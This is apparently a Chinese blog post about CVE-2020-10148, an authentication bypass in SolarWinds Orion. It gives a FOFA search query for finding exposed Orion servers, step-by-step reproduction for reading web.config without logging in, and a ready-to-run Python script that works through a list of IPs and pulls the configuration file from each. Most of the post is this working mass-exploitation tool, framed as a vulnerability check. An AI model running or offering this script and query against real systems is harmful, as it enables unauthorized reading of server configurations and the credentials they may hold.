美文网首页
SolarWinds Orion API 远程代码执行漏洞批量检

SolarWinds Orion API 远程代码执行漏洞批量检

作者: migrate_ | 来源:发表于2021-01-15 10:16 被阅读0次

    漏洞简述

    SolarWinds 发布了 SolarWinds 代码执行漏洞 的风险通告,该漏洞编号为 CVE-2020-10148,漏洞等级:高危。
    SolarWinds公开了供应链攻击之外的一处漏洞。该漏洞允许未授权的攻击者在受影响的SolarWinds系统上执行任意代码。

    漏洞详情

    SolarWinds Orion 平台中存在一处权限绕过漏洞。攻击者通过访问,绕过权限验证。最终通过访问功能性API,导致远程代码执行。

    影响版本

    solarwinds:orion:<2020.2.1HF2

    solarwinds:orion:<2019.4HF6

    漏洞复现

    fofo搜索语法
    title="SolarWinds Orion"

    1.png 2.png

    访问/Orion/invalid.aspx.js路径,获取请求头中Location数据

    3.png

    将.i18n.ashx?l=en-us&v=43714.46.L携带到需要获取文件内容的路径,从而绕过身份认证。这里访问的是web.config

    4.png

    poc

    # coding=utf-8
    
    import time
    import requests
    import urllib3
    
    
    urllib3.disable_warnings()
    headers = {
        'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    
    def SolarWind(ip):
        try:
            check_url = '/Orion/invalid.aspx.js'
            vul_url = ip + check_url
            exp_url = ip + '/web.config.i18n.ashx?l=en-us&v=43370.07.L'
            #print(vul_url)
            response = requests.get(url=vul_url, headers=headers, verify=False, timeout=20)
            #print(response.headers)
            Location = response.headers["Location"]
            poc = (Location.split('js')[-1])
            #print(poc)
            time.sleep(1)
            if 'i18n' in poc:
                res = requests.get(url=exp_url, headers=headers, verify=False, timeout=20)
                if "?xml" in res.text:
                    print("【+】发现漏洞" + exp_url)
                else:
                    print("未发现漏洞")
    
        except:
            print("连接超时!")
    
    
    
    
    
    def url():
        with open('ip.txt', 'r') as f:
            ips = f.readlines()
            for ip in ips:
                ip = ip.strip()
                if ip[0:5] == 'https':
                    ip = ip
                elif ip[0:4] == 'http':
                    ip = ip
                else:
                    ip = 'http://' + ip
                SolarWind(ip)
    
    if __name__ == "__main__":
        url()
    

    相关文章

      网友评论

          本文标题:SolarWinds Orion API 远程代码执行漏洞批量检

          本文链接:https://www.haomeiwen.com/subject/jtmiaktx.html